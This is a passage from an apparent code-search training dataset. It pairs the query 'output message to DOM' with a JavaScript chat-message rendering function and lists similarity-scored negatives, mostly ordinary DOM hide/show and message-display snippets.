'none';\\n\\t}\",\n \"function hide_all() {\\n $('#punctual-table-wrapper').collapse(\\\"hide\\\")\\n $(\\\"#meta-info\\\").hide()\\n $(\\\"#progress_bar\\\").hide()\\n $(\\\"#arrived-late\\\").hide()\\n $(\\\"#punctual\\\").hide()\\n $(\\\"#left-early\\\").hide()\\n $(\\\"#punctual-day-chart\\\").hide()\\n $(\\\"#breakdown p\\\").hide()\\n}\",\n \"hide(){\\n const listElements = this.el.childNodes;\\n for(let i = 0; i < listElements.length; i++){\\n listElements[i].removeEventListener('click',this.onItemClickedEvent);\\n }\\n this.el.innerHTML = '';\\n }\",\n \"function unhide(el) {\\n $(el).removeClass(\\\"hidden\\\");\\n }\",\n \"unhide() {\\n document.getElementById(\\\"guiArea\\\").classList.remove(\\\"hideMe\\\");\\n document.getElementById(\\\"guiAreaToggle\\\").classList.remove(\\\"hideMe\\\");\\n }\",\n \"_hide() {\\n $.setDataset(this._target, { uiAnimating: 'out' });\\n\\n $.fadeOut(this._target, {\\n duration: this._options.duration,\\n }).then((_) => {\\n $.removeClass(this._target, 'active');\\n $.removeClass(this._node, 'active');\\n $.removeDataset(this._target, 'uiAnimating');\\n $.setAttribute(this._node, { 'aria-selected': false });\\n $.triggerEvent(this._node, 'hidden.ui.tab');\\n }).catch((_) => {\\n if ($.getDataset(this._target, 'uiAnimating') === 'out') {\\n $.removeDataset(this._target, 'uiAnimating');\\n }\\n });\\n }\",\n \"function showElements() {\\n $(\\\"#collapse_icon\\\").html(\\\"hide\\\");\\n $(\\\".sidebar_elements\\\").removeClass(\\\"hidden\\\").fadeTo(600, 1);\\n $(\\\".range_options\\\").css('display', 'flex');\\n $(\\\"#cross\\\").addClass(\\\"hidden\\\").fadeTo(600, 0);\\n}\",\n \"function hide() {\\n\\t\\tdashboardContent.empty();\\n\\n\\t}\",\n \"hide() {\\n\\t\\tthis.panelEl.classList.remove(classes.panel.open);\\n\\t\\tthis.panelEl.classList.add(classes.panel.closed);\\n\\t}\",\n \"hide() {\\n if (this[$visible]) {\\n this[$visible] = false;\\n this[$updateVisibility]({ notify: true });\\n }\\n }\",\n \"onHide() {\\n\\t}\",\n \"function hide(event) { event.target.style.visibility = \\\"hidden\\\"; }\",\n \"function hide(el){\\r\\n el = getList(el);\\r\\n\\r\\n for(var i = 0; i $elem.addClass(\\\"hidden\\\"));\\n }\",\n \"hide_() {\\n this.adapter_.setAttr(strings.ARIA_HIDDEN, 'true');\\n }\",\n \"function hideStartingInfo() {\\r\\n // Hides savings/checking info and transaction info.\\r\\n hideToggle(checking_info); \\r\\n hideToggle(savings_info); \\r\\n hideToggle(transactions); \\r\\n}\",\n \"function hide(el){\\n el = getList(el);\\n\\n for(var i = 0; iShow \\\" + legendText + \\\"\\\");\\r\\n showHide.wrap(\\\"
    \\\");\\r\\n showHide.before(show);\\r\\n showHide.hide();\\r\\n function showFunc(event)\\r\\n {\\r\\n target = jQ(event.target);\\r\\n target.hide();\\r\\n target.next().show();\\r\\n }\\r\\n function hideFunc(event)\\r\\n {\\r\\n target = jQ(event.target).parent();\\r\\n target.hide();\\r\\n target.prev().show();\\r\\n }\\r\\n show.click(showFunc);\\r\\n legend.click(hideFunc);\\r\\n }\\r\\n showHides = jQ(\\\"div.showHideToggle\\\");\\r\\n showHides.each(function() {\\r\\n var showHideDiv = jQ(this);\\r\\n var toggleText = showHideDiv.find(\\\"input[@name='toggleText']\\\").val();\\r\\n var contentDiv = showHideDiv.find(\\\">div\\\");\\r\\n var cmd = showHideDiv.find(\\\">span.command\\\");\\r\\n cmd.click(function(){ contentDiv.toggleClass(\\\"hidden\\\"); var t=cmd.html(); cmd.html(toggleText); toggleText=t; });\\r\\n });\\r\\n}\",\n \"hide() {\\n for (var dependent of this.get_dependents()) {\\n try { dependent.hide(); }\\n catch (e) {}\\n }\\n }\",\n \"function collapseHide() {\\n $( \\\".slide-collapse\\\" ).click(function() {\\n collapse($(this));\\n });\\n}\",\n \"function hideSelectorContainers(){\\n\\thideTypeSelector();\\n\\thidePlayerSelector();\\n\\thideYearSelector();\\n\\thideWeekSelector();\\n\\thideStatNameSelector();\\n\\thideTeamSelector();\\n}\",\n \"static hide(v) {\\n // Set style to none\\n UI.find(v).setAttribute(\\\"hidden\\\", \\\"true\\\");\\n }\",\n \"showContent() {\\n this.content.removeAttr('hidden');\\n }\",\n \"function hideTreeExpandCollapseButtons(hide) {\\n\\tif(hide) {\\n\\t\\t$('#tree-expand').hide();\\n\\t\\t$('#tree-collapse').hide();\\n\\t\\t$('#save-as-profile-btn').hide();\\n\\t}\\n\\telse {\\n\\t\\t$('#tree-expand').show();\\n\\t\\t$('#tree-collapse').show();\\n\\t\\t$('#save-as-profile-btn').show();\\n\\t}\\n\\t\\n}\",\n \"function invisible(item) {\\n item.css(\\\"visibility\\\", \\\"hidden\\\");\\n }\",\n \"function hideSlides(){\\n $('.caps').hide()\\n $('.headers').hide();\\n}\",\n \"static hide(obj) {\\n obj.setAttribute('visibility', 'hidden');\\n }\",\n \"function hideElement () {\\n if(this instanceof HTMLCollection || this instanceof NodeList) {\\n for(var i = 0; i < this.length; i++) {\\n this[i].style.display = 'none';\\n }\\n }\\n else if(this instanceof HTMLElement) {\\n this.style.display = 'none';\\n }\\n\\n return this;\\n }\",\n \"function hideElement() {\\n header.setAttribute(\\\"style\\\", \\\"visibility: hidden\\\");\\n text.setAttribute(\\\"style\\\", \\\"visibility: hidden\\\");\\n startBtn.setAttribute(\\\"style\\\", \\\"visibility: hidden\\\");\\n}\",\n \"hide() {\\n if (\\n $.getDataset(this._target, 'uiAnimating') ||\\n !$.hasClass(this._target, 'active') ||\\n !$.triggerOne(this._node, 'hide.ui.tab')\\n ) {\\n return;\\n }\\n\\n this._hide();\\n }\",\n \"function hideAll() {\\n\\t\\t// Hide counter\\n\\t\\t$('.counter').animate({\\n\\t\\t\\ttop: \\\"-18em\\\"\\n\\t\\t}, 600, \\\"swing\\\", function() {\\n\\t\\t});\\n\\t\\t\\n\\t\\t// Hide highlight\\n\\t\\t$('.highlight, .glow').addClass('highlight-hide');\\n\\t\\tsetTimeout(function() {\\n\\t\\t\\t// Slide away main content\\n\\t\\t\\t$('.main').animate({\\n\\t\\t\\t\\tmarginTop: \\\"150vh\\\"\\n\\t\\t\\t}, 1200, \\\"swing\\\", function() {\\n\\t\\t\\t\\tlocation.reload();\\n\\t\\t\\t});\\n\\t\\t}, 400);\\n\\t\\t\\n\\t\\t// Hide nav button and menu\\n\\t\\t$('.collapse').collapse('hide');\\n\\t\\t$('.navbar-toggle').animate({\\n\\t\\t\\tbottom: \\\"-100vh\\\"\\n\\t\\t}, 800, \\\"swing\\\", function() {\\n\\t\\t});\\n\\t}\",\n \"_hideItems () {\\n const firstFour = this.listItems.filter(notHidden => !notHidden.classList.contains(\\\"responsive-hidden\\\") && notHidden.querySelector(SELECTORS.SUB) === null && this._el.querySelector(\\\"UL\\\") === notHidden.parentElement);\\n\\n if (this.submenus.length > 0) {\\n this.submenus.forEach(levelTwo => {\\n levelTwo.parentElement.classList.add(\\\"responsive-hidden\\\");\\n });\\n\\n if (firstFour.length > 4) {\\n firstFour.slice(4).forEach(item => {\\n item.parentElement.classList.add(\\\"responsive-hidden\\\");\\n });\\n }\\n } else {\\n this.listItems.slice(4).forEach(items => {\\n items.classList.add(\\\"responsive-hidden\\\");\\n });\\n }\\n }\",\n \"function hideElements() {\\n document.getElementById(\\\"pt1\\\").hidden = true;\\n document.getElementById(\\\"pt2\\\").hidden = true;\\n document.getElementById(\\\"intercept\\\").hidden = true;\\n document.getElementById(\\\"slopeLabel\\\").hidden = true;\\n document.getElementById(\\\"yIntLabel\\\").hidden = true;\\n document.getElementById(\\\"pt1Label\\\").hidden = true;\\n document.getElementById(\\\"pt2Label\\\").hidden = true;\\n document.getElementById(\\\"riseRun1\\\").hidden = true;\\n document.getElementById(\\\"riseRun2\\\").hidden = true;\\n}\",\n \"function hide() {\\n $( \\\"#target\\\" ).hide();}\",\n \"function hideSelectedHideables(hideables){\\n for (let hideMe of hideables){\\n if(document.getElementById(hideMe)){\\n document.getElementById(hideMe).classList.add(\\\"displayNone\\\");\\n }\\n }\\n }\",\n \"hide() {\\n if (this.div) {\\n // The visibility property must be a string enclosed in quotes.\\n this.div.style.visibility = \\\"hidden\\\";\\n }\\n }\",\n \"function hide(el) {\\n el = getList(el);\\n\\n for (var i = 0; i < el.length; i++) {\\n el[i].style.display = 'none';\\n }\\n\\n return el;\\n }\",\n \"hide() {\\n this.visible = false;\\n this.closed.emit();\\n }\",\n \"function hideItems() {\\r\\n piecesSlider.hidePieces({items: [currentImageIndex, currentTextIndex, currentNumberIndex]});\\r\\n }\",\n \"function unHideComponents(){\\r\\n tank.style.visibility = \\\"visible\\\";\\r\\n missile.style.visibility = \\\"visible\\\";\\r\\n score.style.visibility = \\\"visible\\\";\\r\\n}\",\n \"hide() {\\n checkPresent(this.containerDiv, 'not present when hiding');\\n // The visibility property must be a string enclosed in quotes.\\n this.containerDiv.style.visibility = 'hidden';\\n }\",\n \"hide() {\\n\\t\\tthis.isVisible = false;\\n this.element.classList.remove('hide')\\n\\t\\tthis.element.classList.remove('showCarousel')\\n\\t\\tthis.element.classList.add('hideCarousel')\\n\\t\\tthis.buttons.style.paddingTop = \\\"72px\\\"\\n\\t\\t\\n\\t}\"\n]"},"negative_scores":{"kind":"list like","value":["0.7696056","0.7422398","0.7333384","0.7272602","0.7221115","0.72023773","0.7200048","0.7130635","0.7071157","0.7068182","0.70546514","0.7046007","0.69858533","0.69858533","0.69854015","0.69841826","0.6978578","0.6970021","0.6970021","0.6947223","0.6942153","0.692611","0.6895606","0.6893231","0.6889195","0.68792444","0.68756956","0.68439895","0.6832524","0.68209696","0.6814604","0.6814604","0.6807444","0.6802476","0.67963713","0.6790067","0.6772159","0.67690897","0.67583334","0.6749301","0.673435","0.67303985","0.67272764","0.6724263","0.672103","0.67143965","0.67143965","0.6712388","0.6706834","0.6702502","0.6681244","0.6681244","0.6681244","0.66799504","0.6673951","0.66724277","0.66656995","0.66623","0.6660685","0.66588485","0.6658655","0.6657188","0.6656102","0.6650987","0.6650449","0.6645278","0.6643279","0.66353595","0.66343594","0.6633934","0.6632975","0.66321003","0.663001","0.66252065","0.6625052","0.66156673","0.6615058","0.66124934","0.660639","0.6601757","0.65988356","0.658861","0.65745556","0.65744066","0.65642047","0.65632606","0.6560708","0.65578705","0.65535265","0.65499836","0.654783","0.65435266","0.65409064","0.65400064","0.65394217","0.6534932","0.6531314","0.6530837","0.65261877","0.65238833","0.6522114"],"string":"[\n \"0.7696056\",\n \"0.7422398\",\n \"0.7333384\",\n \"0.7272602\",\n \"0.7221115\",\n \"0.72023773\",\n \"0.7200048\",\n \"0.7130635\",\n \"0.7071157\",\n \"0.7068182\",\n \"0.70546514\",\n \"0.7046007\",\n \"0.69858533\",\n \"0.69858533\",\n \"0.69854015\",\n \"0.69841826\",\n \"0.6978578\",\n \"0.6970021\",\n \"0.6970021\",\n \"0.6947223\",\n \"0.6942153\",\n \"0.692611\",\n \"0.6895606\",\n \"0.6893231\",\n \"0.6889195\",\n \"0.68792444\",\n \"0.68756956\",\n \"0.68439895\",\n \"0.6832524\",\n \"0.68209696\",\n \"0.6814604\",\n \"0.6814604\",\n \"0.6807444\",\n \"0.6802476\",\n \"0.67963713\",\n \"0.6790067\",\n \"0.6772159\",\n \"0.67690897\",\n \"0.67583334\",\n \"0.6749301\",\n \"0.673435\",\n \"0.67303985\",\n \"0.67272764\",\n \"0.6724263\",\n \"0.672103\",\n \"0.67143965\",\n \"0.67143965\",\n \"0.6712388\",\n \"0.6706834\",\n \"0.6702502\",\n \"0.6681244\",\n \"0.6681244\",\n \"0.6681244\",\n \"0.66799504\",\n \"0.6673951\",\n \"0.66724277\",\n \"0.66656995\",\n \"0.66623\",\n \"0.6660685\",\n \"0.66588485\",\n \"0.6658655\",\n \"0.6657188\",\n \"0.6656102\",\n \"0.6650987\",\n \"0.6650449\",\n \"0.6645278\",\n \"0.6643279\",\n \"0.66353595\",\n \"0.66343594\",\n \"0.6633934\",\n \"0.6632975\",\n \"0.66321003\",\n \"0.663001\",\n \"0.66252065\",\n \"0.6625052\",\n \"0.66156673\",\n \"0.6615058\",\n \"0.66124934\",\n \"0.660639\",\n \"0.6601757\",\n \"0.65988356\",\n \"0.658861\",\n \"0.65745556\",\n \"0.65744066\",\n \"0.65642047\",\n \"0.65632606\",\n \"0.6560708\",\n \"0.65578705\",\n \"0.65535265\",\n \"0.65499836\",\n \"0.654783\",\n \"0.65435266\",\n \"0.65409064\",\n \"0.65400064\",\n \"0.65394217\",\n \"0.6534932\",\n \"0.6531314\",\n \"0.6530837\",\n \"0.65261877\",\n \"0.65238833\",\n \"0.6522114\"\n]"},"document_score":{"kind":"string","value":"0.0"},"document_rank":{"kind":"string","value":"-1"}}},{"rowIdx":42,"cells":{"query":{"kind":"string","value":"output message to DOM"},"document":{"kind":"string","value":"function outputMessage(msg) {\n const div = document.createElement('div');\n div.classList.add('message');\n div.innerHTML = `

    ${msg.username}•${msg.time}

    \n

    \n ${msg.text}\n

    `;\n const chatSection = document.getElementById('chat-message');\n chatSection.appendChild(div);\n // console.log(div);\n}"},"metadata":{"kind":"string","value":"{\n \"objective\": {\n \"self\": [],\n \"paired\": [],\n \"triplet\": [\n [\n \"query\",\n \"document\",\n \"negatives\"\n ]\n ]\n }\n}"},"negatives":{"kind":"list like","value":["function outputMesssage(message) {\n const div = document.createElement('div');\n div.innerHTML = `${message}`;\n document.querySelector('.messages').appendChild(div);\n}","function output(message) {\n const para = document.createElement('p');\n para.innerHTML = message;\n outputDiv.appendChild(para);\n}","function print(message) {\n\t var outputDiv = document.getElementById(\"output\").innerHTML = message;\n\t}","function message(msg){\n\tdocument.getElementById('output').innerHTML = msg + \" event\"\n}","function outputMessage(message) {\n //Creates div\n const div = document.createElement(\"div\");\n // adds div to classList\n div.classList.add(\"message\");\n //Formatting message\n div.innerHTML =\n `
    \n ${message.username} today at: ${message.time}\n
    \n ${message.text}\n
    \n
    `\n document.getElementById(\"c-messages\").appendChild(div)\n}","logOutput (msg) {\n this.DOMNodes.runMessage.className = \"hidden\";\n let node = document.createElement(\"div\");\n node.innerHTML = msg;\n this.DOMNodes.log.appendChild(node);\n }","function message(msg){\n document.getElementById('message').innerHTML = msg;\n }","function outputMessage(message) {\r\n //Manipulaciond el DOM\r\n const div = document.createElement(\"div\");\r\n div.classList.add(\"message\");\r\n div.innerHTML = `

    ${message.username}${message.time}

    \r\n

    \r\n ${message.text}\r\n

    `;\r\n document.querySelector(\".chat-messages\").appendChild(div);\r\n}","function print(message) {\n\t var outputDiv = document.getElementById('output');\n\t outputDiv.innerHTML = message;\n}","function outputMessage(message){\n const div = document.createElement('div');\n div.classList.add('messages');\n div.innerHTML= `

    \n ${message} \n

    `;\n document.querySelector('.chat-messages').appendChild(div);\n}","function writeMessage(message) {\r\n\tvar li = document.createElement(\"li\");\r\n\r\n\tsetElementText(li, message);\r\n\r\n\r\n output.appendChild(li);\r\n}","function outputMessage(message) {\n const div = document.createElement('div');\n div.classList.add('message'); // message comes from
    in chat.html\n div.innerHTML = `

    ${message.username} ${message.time}

    \n

    \n ${message.text}\n

    `\n document.querySelector('.chat-messages').appendChild(div) // should add a new div to the chat.html when we csubmit a new message\n}","function _print(message) {\n if (_output) {\n _output.innerHTML += message + \"
    \";\n }\n }","function writeMessage(message) {\n var li = document.createElement(\"li\");\n\n setElementText(li, message);\n output.appendChild(li);\n}","function outputMessage(msg) {\n const div = document.createElement('div');\n div.classList.add('message');\n div.innerHTML = `

    ${msg.username} ${msg.time}

    \n

    ${msg.text}

    `;\n document.querySelector('.chat-messages').appendChild(div);\n}","function outputMessage(message){\n\nconst div=document.createElement('div');\ndiv.classList.add('message');\ndiv.innerHTML=`

    ${message.username}${message.time}

    \n

    \n${message.text}\n\n

    `\n\ndocument.querySelector('.chat-messages').appendChild(div)\n}","function print(message) {\n var outputDiv = document.getElementById('quiz-output'); // node\n outputDiv.innerHTML = message; // similar to document.write\n $( '#quiz-output' ).removeClass( 'hidden' );\n // $( '#output' ).toggleClass( \"hidden\", addOrRemove );\n }","function outputMessage(msg) {\n const div = document.createElement('div');\n\n div.classList.add('message');\n div.innerHTML = `

    ${msg.username} ${msg.time}

    \n

    ${msg.text}

    `;\n chatMessages.appendChild(div);\n}","function writeToPage(msg) {\n results.innerHTML = msg;\n}","function output(message) {\n document.getElementById(\"output\").innerHTML += message + \"
    \";\n}","function outputMessage(message){\n const div = document.createElement('div');\n div.classList.add('message');\n div.innerHTML = `

    ${message.username} ${message.time}

    \n

    \n ${message.text}\n

    `;\n document.querySelector('.chat-messages').appendChild(div);\n}","function outputMessage(message){\n const div = document.createElement('div');\n div.classList.add('message');\n div.innerHTML = `

    ${message.username} ${message.time}\n
    \n ${message.text}\n

    `;\n\n document.querySelector('.chat-messages').appendChild(div);\n\n}","function outputMessage(message) {\n\tconst div = document.createElement(\"div\");\n\tdiv.classList.add(\"message\");\n\tdiv.innerHTML = `

    ${message.username} ${message.time}\n\t

    ${message.text}

    `;\n\tdocument.querySelector(\".chat-messages\").appendChild(div);\n}","function userMessage(message) {\n output(message);\n try {\n document.getElementById('user_message').innerText = message;\n }\n catch (error) {}\n}","function outputMessage(message){\n const div = document.createElement('div');\n div.classList.add('message');\n div.innerHTML = `

    ${message.username} ${message.time}

    \n

    \n ${message.text}\n

    `;\n document.querySelector('.chat-messages').appendChild(div);\n}","function outputMessage(msg) {\n const div = document.createElement(\"div\");\n div.classList.add(\"message\");\n div.innerHTML = `

    ${msg.username} ${msg.time}

    \n

    ${msg.text}

    `;\n document.querySelector(\".chat-messages\").appendChild(div);\n}","function outputMessage(message){\n const div = document.createElement(\"div\");\n div.classList.add(\"message\");\n div.innerHTML = `

    ${message.username} ${message.time}

    \n

    \n ${message.text}\n

    `; \n document.querySelector('.chat-messages').appendChild(div);\n}","function outputMessage(message) {\n const div = document.createElement('div');\n div.classList.add('message');\n div.innerHTML = `

    ${message.username} ${message.time}

    \n

    \n ${message.text}\n

    `;\n document.querySelector('.chat-messages').appendChild(div);\n}","function outputMessage(message){\n const div = document.createElement('div');\n div.classList.add('message');\n div.innerHTML = `

    ${message.username} ${message.time}

    \n

    \n ${message.text}\n

    `;\n\n document.querySelector('.chat-messages').appendChild(div);\n}","function outputMessage(message){\n const div = document.createElement('div');\n div.classList.add('message');\n div.innerHTML = `

    ${message.username} ${message.time}

    \n

    \n ${message.text}\n

    `;\n document.querySelector('.chat-messages').appendChild (div);\n\n}","function outputMessage(message){\n const div= document.createElement('div');\n div.classList.add('message');\n div.innerHTML = `

    ${message.username} ${message.time}

    \n

    \n ${message.text}\n

    `;\n //here we select the chat-messages\n document.querySelector('.chat-messages').appendChild(div); // 9\n}","function outputMessage(message) {\n const div = document.createElement(\"div\");\n div.classList.add(\"message\");\n div.innerHTML = `

    ${message.username} ${message.time}

    \n

    \n ${message.message}\n

    `;\n document.querySelector(\".chat-messages\").appendChild(div);\n}","function outputMessage(message) {\n const div = document.createElement('div');\n div.classList.add('message');\n div.innerHTML = `

    ${message.username}${message.time}

    \n

    \n ${message.text}\n

    `;\n document.querySelector('.divscroll').appendChild(div);\n }","function print(message) {\r\n var outputDiv = document.getElementById(\"output\");\r\n outputDiv.innerHTML = message;\r\n}","function print(message){\n var outputDiv = document.getElementById('output');\n outputDiv.innerHTML = message;\n}","function print(message) {\n var outputDiv = document.getElementById('output');\n outputDiv.innerHTML = message;\n}","function printToPage(msg) {\n\t\tif(document.getElementById(\"message\") != null){\n\t\t\tdocument.getElementById(\"message\").innerHTML = msg;\n\t\t}\n\t\telse{\n\t\tvar message = \"

    \" + msg + \"<\\p>\";\n\t\t$(\"#result\").append(message);\n\t\t}\n\t}","function outputMessage(message) {\n const div = document.createElement('div');\n div.classList.add('message');\n div.innerHTML = `

    ${message.username} ${message.time}

    ${message.text}

    `;\n document.querySelector('.chat-messages').appendChild(div);\n}","function print(message) {\n var outputDiv = document.getElementById('output');\n outputDiv.innerHTML = message;\n}","function print(message) {\n var outputDiv = document.getElementById('output');\n outputDiv.innerHTML = message;\n}","function outputMessage(message) {\n const div = document.createElement('div');\n div.classList.add('message');\n div.innerHTML = `

    ${message.username} ${message.time}

    \n

    \n ${message.text}\n

    `;\n document.querySelector('.chat-messages').appendChild(div);\n}","function outputMessage(message) {\n const div = document.createElement(\"div\");\n div.innerHTML = `
    \n
    \"sunil\"\n
    \n
    \n
    \n

    ${message.text}

    \n \n ${message.username} at ${message.time}\n
    \n
    \n
    \n `;\n document.querySelector(\".chat-messages\").appendChild(div);\n}","function outputMessage(message) {\n const div = document.createElement('div');\n div.classList.add('message');\n div.innerHTML = '

    '+ message.username + '' + message.time +''+\n '

    ' + message.text + '

    '\n document.querySelector(\".chat-messages\").appendChild(div)\n}","function writeMsg(msg){\n msgEl.innerHTML = `\n
    You Said:
    \n ${msg}\n `\n}","setMessage(msg) \n {\n document.getElementById('message').innerHTML = msg;\n }","function outputMessage(payload) {\n const div = document.createElement('div');\n const p = document.createElement('p');\n p.innerText = payload.text;\n let time = moment(payload.unixTime).format('MMMM Do YYYY, h:mm a');\n p.innerHTML += ` ${time}`;\n div.appendChild(p);\n chatForm.appendChild(div);\n}","function printhtml(dom,msg)\r\n{\r\n\t$(dom).html(msg);\r\n\t$(dom).removeClass('hide');\r\n}","function tell(msg) {\n $(\".output\").val(msg);\n }","function outputMessage(message) {\r\n const div = document.createElement('div');\r\n div.classList.add('message');\r\n\r\n const p = document.createElement('p');\r\n p.classList.add('meta');\r\n p.innerText = message.username;\r\n if(message.username == 'server'){\r\n p.innerText += ' | ';\r\n p.style.color = 'red';\r\n }else{\r\n p.innerText += ' @ ';\r\n }\r\n p.innerHTML += `${message.time}`;\r\n div.appendChild(p);\r\n\r\n const para = document.createElement('p');\r\n para.classList.add('text');\r\n para.innerText = message.text;\r\n if(message.username == 'server'){\r\n para.style.color = 'red';\r\n para.style.fontFamily = 'Courier New';\r\n }\r\n div.appendChild(para);\r\n\r\n document.querySelector('.chat-messages').appendChild(div);\r\n}","function render_msg(msg) {\r\n ///This function gets a msg in the form\r\n /// author:\r\n /// msg:\r\n // var divEl = xo.getDom('');\r\n // var el = xo.DomHelper.createDom({\r\n // \"tag\": \"div\",\r\n // \"class\": \"message\",\r\n // \"html\": \"User \" + msg.author + \": \" + msg.data\r\n // }, divEl);\r\n // \r\n }","function tell(msg) {\n $(\".output\").val(msg);\n }","function display(message){\n\tdataElement.innerHTML = dataElement.innerHTML+'
    '+message;\n}","function print ( message ) {\r\n viewDiv.innerHTML = message;\r\n}","function outputMessage(message){\n //each emssage has a div\n const div = document.createElement('div');\n div.classList.add('message');\n div.innerHTML = '

    '+\n message.username + ' '+\n message.time +'

    '+\n message.text +\n '

    ';\n document.querySelector('.chat-messages').appendChild(div);\n}","function outputMessage(message) {\n const div = document.createElement(\"div\");\n div.classList.add(\"message\");\n const p = document.createElement(\"p\");\n p.classList.add(\"meta\");\n p.innerText = `${message.playername} `;\n p.innerHTML += `${message.time}`;\n div.appendChild(p);\n const para = document.createElement(\"p\");\n para.classList.add(\"text\");\n para.innerText = message.text;\n div.appendChild(para);\n chatMessages.appendChild(div);\n}","function postMessage(message) {\n const newMessage = document.createElement('p');\n newMessage.textContent = message;\n\n messageOutput.appendChild(newMessage);\n}","function outputMessage(message) {\n const div = document.createElement(\"div\");\n message.username === \"You\"\n ? div.setAttribute(\"class\", \"ui positive message\")\n : div.setAttribute(\"class\", \"ui info message\");\n const p = document.createElement(\"p\");\n message.username === \"You\"\n ? p.setAttribute(\"class\", \"ui red horizontal label\")\n : p.setAttribute(\"class\", \"ui blue horizontal label\");\n p.innerText = message.username;\n p.innerHTML += ` at ${message.time}`;\n div.appendChild(p);\n const para = document.createElement(\"p\");\n para.classList.add(\"text\");\n para.innerHTML = message.content;\n div.appendChild(para);\n document.querySelector(\".chat-messages\").appendChild(div);\n}","function _addOutput(msg) {\r\n var output = document.getElementById('outputArea');\r\n output.value += msg + \"\\n\";\r\n\r\n // Move cursor to the end of the output area.\r\n output.scrollTop = output.scrollHeight;\r\n }","function renderMessage(text) {\n document.getElementById('res').innerHTML = text;\n}","function showHtmlMsg() {\r\n msg.innerText = ''\r\n disableButton()\r\n message.style.display = 'none'\r\n innerMsg.style.display = 'block'\r\n // var htmlmsg = document.createElement('p')\r\n msg.innerText = \"HTML stands for Hyper Text Markup Language. HTML describes the structure of a Web page.\"\r\n innerMsg.appendChild(msg)\r\n innerMsg.appendChild(hr)\r\n}","function displayMessage(message) {\n document.querySelector('.message').textContent = message;\n}","function outputMessage(message) {\n\n const div = document.createElement('div');\n div.classList.add('message');\n div.innerHTML = \n `\n
    \n
    \n \n
    \n
    \n
    \n ${message.username} - ${message.text}\n ${message.time}\n
    \n
    \n
    \n `;\n\n document.querySelector('.chat-messages').appendChild(div);\n\n}","function outputMessage(message) {\n const div = document.createElement('div');\n div.classList.add('message');\n const p = document.createElement('p');\n p.classList.add('meta');\n p.innerText = message.username;\n p.innerHTML += `${message.time}`;\n div.appendChild(p);\n const para = document.createElement('p');\n para.classList.add('text');\n para.innerText = message.text;\n div.appendChild(para);\n document.querySelector('.chat-messages').appendChild(div);\n}","function Message(msg){\r\n const mes_ele = document.createElement('div');\r\n mes_ele.innerText = msg;\r\n mes.append(mes_ele);\r\n }","function outputMessage(message) {\n const div = document.createElement('div')\n div.classList.add('alert','alert-dark','my-2','ml-2','mr-5')\n div.innerHTML = `
    \n
    ${message.username} at ${message.time}
    \n
    \n

    ${message.text}

    `\n\n document.getElementById('chat-messages').appendChild(div);\n}","function message(message){\n let results = document.querySelector(\".results\");\n let p = document.createElement(\"p\");\n p.innerHTML = message;\n results.innerHTML = \"\";\n results.appendChild(p);\n }","function writeP2(message_2) {\r\n document.getElementById('message_2').innerHTML += message_2 + '
    ';\r\n}","function appendOutputDiv(message) {\n var pre = document.getElementById('output');\n var textContent = document.createTextNode(message + '\\n');\n if(DEBUG) {\n pre.appendChild(textContent);\n } else {\n pre.textContent = message + \"\\n\";\n }\n}","function outputMessage(message) {\n const li = document.createElement('li');\n li.textContent = message;\n li.classList.add('message');\n document.getElementById('chat-field').appendChild(li);\n}","function display(message) {\n document.querySelector('.message').textContent = message;\n}","function writeMsg(txt) {\n document.getElementById('gameMsg').innerHTML = txt;\n showGameMsg();\n}","function output(message) {\n browser.runtime.sendMessage({ action: 'output', message });\n}","function ilm_display(msg) {\r\n\tdocument.querySelector('#ilm_container .ilm_msg').textContent = msg;\r\n}","function displayMessage() {\n mainEl.textContent = message;\n}","function outputOwnMessage(message) {\n const div = document.createElement('div')\n div.classList.add('alert','alert-success','my-2','mr-2','ml-5')\n div.innerHTML = `
    \n
    ${message.username} at ${message.time}
    \n
    \n

    ${message.text}

    `\n\n document.getElementById('chat-messages').appendChild(div);\n}","function print(out){\n msg = document.createElement(\"p\");\n msg.textContent = out.toString();\n output.appendChild(msg);\n}","renderMessage_() {\n const messsageEl = create(\"div\", {\n classname: cssClass.MESSAGE_WRAPPER,\n copy: copy.NO_SUBSCRIPTIONS,\n });\n\n this.appendChild(messsageEl);\n }","function displayOutputMessage(text) {\n const outputElem = goog.dom.getElement('output');\n outputElem.innerHTML = outputElem.innerHTML + text + '\\n';\n}","function setMessage(msg) {\n\n\tdocument.getElementById(\"message\").innerHTML = msg;\n}","function ShowMessage(msg) {\n\tdocument.getElementById(\"message\").innerHTML += \"

    \"+msg+\"

    \";\n}","function setMessage (msg){\n document.getElementById(\"message\").innerHTML=msg;\n}","function displayMessage(type,message)\n{\n messageEL.text(message);\n messageEL.attr(\"class\",type);\n\n}","function outputStatus(message) {\n const div = document.createElement('div')\n div.classList.add('message')\n div.innerHTML = `
  • \n

    ${message.text}

    \n

    ${message.time}

    \n
  • `\n document.querySelector('.chat-messages').appendChild(div)\n}","function addOutput(msg) {\n var output = document.getElementById('script_output');\n output.value += msg + \"\\n\";\n\n // Move cursor to the end of the output area.\n output.scrollTop = output.scrollHeight;\n }","function setMessage(msg) {\n\t\tdocument.getElementById(\"message\").innerText = msg;\n\t}","function OutputLine(msg) {\n $(\"output\").value += msg + \"\\n\";\n}","function outputMessage(message,position) {\n const div = document.createElement('div');\n div.classList.add('message');\n div.classList.add(position);\n const p = document.createElement('p');\n p.classList.add('time');\n p.innerText = message.time;\n div.appendChild(p);\n \n const para = document.createElement('p');\n para.classList.add('text');\n if(message.username == 'ChatWid')\n para.innerHTML = `${message.text}`;\n else\n para.innerHTML = `${message.username}: ${message.text}`;\n div.appendChild(para);\n\n document.querySelector('.chat_messages').appendChild(div);\n}","function displayMessage(message){\n document.getElementById('ui').innerHTML = message;\n}","displayMessage(message) {\n this.messageContainerEl.innerHTML = `
    ${message}
    `;\n this.messageContainerEl.classList.add('visible');\n }","function setMessage(msg){\n document.getElementById(\"message\").innerHTML = msg;\n}","function setMessage(str) {\n\tdocument.getElementById(\"Messages\").innerHTML = \"

    \" + str + \"

    \";\n}","function output(message) {\n var consoleMessage = \"
    \" + Date.now() + \" \" + message + \"
